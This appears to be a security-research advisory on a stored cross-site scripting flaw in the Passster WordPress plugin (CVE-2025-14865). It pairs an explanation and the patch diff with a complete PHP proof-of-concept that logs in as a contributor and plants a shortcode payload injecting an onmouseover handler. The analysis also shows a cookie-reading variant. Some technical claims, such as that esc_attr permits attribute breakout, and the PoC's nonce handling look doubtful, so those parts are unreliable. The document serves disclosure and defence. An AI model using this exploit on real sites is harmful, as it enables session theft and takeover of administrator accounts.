Atomic Edge analysis of CVE-2025-14865:
The Passster WordPress plugin, versions up to and including 4.2.24, contains an authenticated stored cross-site scripting (XSS) vulnerability. Attackers with Contributor-level access or higher can inject malicious scripts via the plugin’s shortcode attributes. These scripts execute in the context of a victim’s browser when they view the compromised page. The CVSS score of 6.4 reflects the medium severity of this issue.
The root cause is insufficient output escaping for the ‘acf’ shortcode attribute within the plugin’s shortcode handler. In the vulnerable file `content-protector/inc/class-ps-public.php` at line 131, the plugin uses `esc_attr()` to sanitize the attribute value before inserting it into the HTML data attribute. The `esc_attr()` function is designed for HTML attribute contexts but does not prevent JavaScript execution from within a quoted attribute value. An attacker can craft a payload that closes the attribute and injects an event handler.
Exploitation requires an authenticated user with at least Contributor privileges. The attacker creates or edits a post or page and inserts the Passster shortcode with a malicious ‘acf’ attribute. The payload would resemble `[content_protector acf=”” onmouseover=”alert(document.cookie)”]`. When the page is saved and subsequently viewed by any user, the malicious JavaScript executes in the victim’s browser. The attack vector is the WordPress editor, and the vulnerable parameter is the shortcode attribute.
The patch, applied in version 4.2.25, changes the escaping function from `esc_attr()` to `esc_url()` for the ‘acf’ attribute value on line 131 of `class-ps-public.php`. The `esc_url()` function validates and sanitizes URLs, stripping dangerous characters and schemes like `javascript:`. This change neutralizes XSS payloads that rely on injecting event handlers or script URIs into the attribute. The patch correctly assumes the ‘acf’ attribute should contain a URL, aligning the security control with the expected data type.
Successful exploitation leads to stored XSS. An attacker can steal session cookies, perform actions on behalf of the victim, deface websites, or redirect users to malicious sites. While Contributor-level users cannot publish posts by default, they can submit them for review, and the malicious script would execute when a privileged user previews or publishes the post. This could facilitate privilege escalation if an administrator’s session is compromised.
--- a/content-protector/content-protector.php
+++ b/content-protector/content-protector.php
@@ -4,7 +4,7 @@
* Plugin Name: Passster
* Plugin URI: https://passster.com/
* Description: A simple plugin to password-protect your complete website, some pages/posts or just parts of your content.
- * Version: 4.2.24
+ * Version: 4.2.25
* Author: WPChill
* Author URI: https://wpchill.com
* License: GPL-2.0+
@@ -19,7 +19,7 @@
*/
define( 'PASSSTER_PATH', untrailingslashit( plugin_dir_path( __FILE__ ) ) );
define( 'PASSSTER_URL', untrailingslashit( plugin_dir_url( __FILE__ ) ) );
-define( 'PASSSTER_VERSION', '4.2.24' );
+define( 'PASSSTER_VERSION', '4.2.25' );
// run plugin.
if ( !function_exists( 'passster_run_plugin' ) ) {
add_action( 'plugins_loaded', 'passster_run_plugin' );
--- a/content-protector/inc/class-ps-ajax.php
+++ b/content-protector/inc/class-ps-ajax.php
@@ -267,7 +267,7 @@
* @return void
*/
public function add_public_scripts() {
- $suffix = ( defined( SCRIPT_DEBUG ) && SCRIPT_DEBUG ? '' : '.min' );
+ $suffix = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min' );
$options = get_option( 'passster' );
wp_enqueue_style(
'passster-public',
@@ -279,8 +279,8 @@
wp_enqueue_script(
'passster-cookie',
PASSSTER_URL . '/assets/public/cookie.js',
- array('jquery'),
- false,
+ array('jquery', 'wp-api-fetch'),
+ PASSSTER_VERSION,
false
);
wp_enqueue_script(
--- a/content-protector/inc/class-ps-protected-posts.php
+++ b/content-protector/inc/class-ps-protected-posts.php
@@ -90,7 +90,7 @@
}
// Check for REST API search
- if ( defined( 'REST_REQUEST' ) && REST_REQUEST && isset( $query->query_vars['s'] ) ) {
+ if ( defined( 'REST_REQUEST' ) && REST_REQUEST && ! empty( $query->query_vars['s'] ) ) {
return true;
}
--- a/content-protector/inc/class-ps-public.php
+++ b/content-protector/inc/class-ps-public.php
@@ -131,7 +131,7 @@
}
// ACF field.
if ( !empty( $atts['acf'] ) ) {
- $form = str_replace( '[PASSSTER_ACF]', ' data-acf="' . esc_attr( $atts['acf'] ) . '"', $form );
+ $form = str_replace( '[PASSSTER_ACF]', ' data-acf="' . esc_url( $atts['acf'] ) . '"', $form );
} else {
$form = str_replace( '[PASSSTER_ACF]', '', $form );
}
--- a/content-protector/inc/class-ps-rest-handler.php
+++ b/content-protector/inc/class-ps-rest-handler.php
@@ -31,6 +31,8 @@
public function __construct() {
add_filter( 'rest_authentication_errors', array( $this, 'restrict_rest_access' ) );
add_filter( 'rest_prepare_post', array( $this, 'filter_rest_response' ), 10, 3 );
+
+ add_action( 'rest_api_init', array( $this, 'register_nonce_routes' ) );
}
public function restrict_rest_access( $result ) {
@@ -109,4 +111,24 @@
return $response;
}
+
+ public function register_nonce_routes() {
+
+ register_rest_route(
+ 'passster/v1',
+ '/nonces',
+ array(
+ 'methods' => 'GET',
+ 'callback' => array( $this, 'get_all_nonces' ),
+ 'permission_callback' => '__return_true',
+ )
+ );
+ }
+ public function get_all_nonces() {
+ return array(
+ 'nonce' => wp_create_nonce( 'ps-password-nonce' ),
+ 'hash_nonce' => wp_create_nonce( 'ps-hash-nonce' ),
+ 'logout_nonce' => wp_create_nonce( 'ps-logout-nonce' ),
+ );
+ }
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14865 - Passster – Password Protect Pages and Content <= 4.2.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
<?php
// Configure target
$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload: Shortcode with malicious acf attribute that executes JavaScript on mouseover
$shortcode_payload = '[content_protector acf="" onmouseover="alert(`XSS`)"]';
$post_title = 'Test Post with XSS';
$post_content = "This post contains a malicious shortcode. {$shortcode_payload}";
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Get login page to retrieve nonce (wpnonce)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$login_page = curl_exec($ch);
// Extract the login nonce (log) from the form
preg_match('/name="log" value="([^"]*)"/', $login_page, $log_match);
$log_nonce = $log_match[1] ?? '';
// Step 2: Perform WordPress login
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$login_response = curl_exec($ch);
// Step 3: Create a new post with the malicious shortcode
// First, get the post creation page to retrieve a nonce for the editor
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);
// Extract the _wpnonce for the post creation (simplified; real implementation may need to parse more)
preg_match('/name="_wpnonce" value="([^"]*)"/', $post_page, $nonce_match);
$create_nonce = $nonce_match[1] ?? '';
// Prepare POST data for new post (draft)
$post_data = http_build_query([
'post_title' => $post_title,
'content' => $post_content,
'post_status' => 'draft', // Contributor can create drafts
'_wpnonce' => $create_nonce,
'_wp_http_referer' => '/wp-admin/post-new.php',
'action' => 'editpost',
'post_type' => 'post'
]);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$post_response = curl_exec($ch);
// Check for success (simplified)
if (strpos($post_response, 'Post draft updated.') !== false || strpos($post_response, $post_title) !== false) {
echo "[+] Draft post created successfully with XSS payload.n";
echo "[+] Visit the draft post as an authenticated user to trigger the onmouseover XSS.n";
} else {
echo "[-] Post creation may have failed. Check authentication and nonce.n";
}
curl_close($ch);
?>